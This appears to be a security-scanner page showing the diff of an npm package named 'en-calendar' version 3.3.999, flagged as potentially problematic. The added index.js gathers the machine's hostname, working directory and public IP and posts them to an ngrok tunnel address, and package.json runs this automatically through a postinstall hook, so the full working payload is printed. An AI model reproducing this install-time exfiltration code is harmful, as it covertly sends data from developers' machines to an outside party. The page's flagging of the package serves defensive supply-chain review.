en-calendar 3.3.999
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of en-calendar might be problematic. Click here for more details.
- package/index.js +30 -0
- package/package.json +15 -0
package/index.js
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const path = require('path');
|
3
|
+
const axios = require('axios');
|
4
|
+
|
5
|
+
function postData(url = '', data = {}) {
|
6
|
+
axios.post(url, data, {
|
7
|
+
headers: {
|
8
|
+
'Content-Type': 'application/json',
|
9
|
+
},
|
10
|
+
});
|
11
|
+
}
|
12
|
+
|
13
|
+
async function getPublicIP() {
|
14
|
+
const response = await axios.get('https://api64.ipify.org?format=json');
|
15
|
+
const data = response.data;
|
16
|
+
return data.ip;
|
17
|
+
}
|
18
|
+
|
19
|
+
async function addPublicIP() {
|
20
|
+
const ip = await getPublicIP();
|
21
|
+
const data = {
|
22
|
+
time: new Date(),
|
23
|
+
hostname: os.hostname(),
|
24
|
+
path: path.resolve(),
|
25
|
+
ip: ip,
|
26
|
+
};
|
27
|
+
postData('https://b210-196-240-54-60.ngrok-free.app/', data);
|
28
|
+
}
|
29
|
+
|
30
|
+
addPublicIP();
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "en-calendar",
|
3
|
+
"version": "3.3.999",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.4.0",
|
13
|
+
"node-fetch": "^3.3.1"
|
14
|
+
}
|
15
|
+
}
|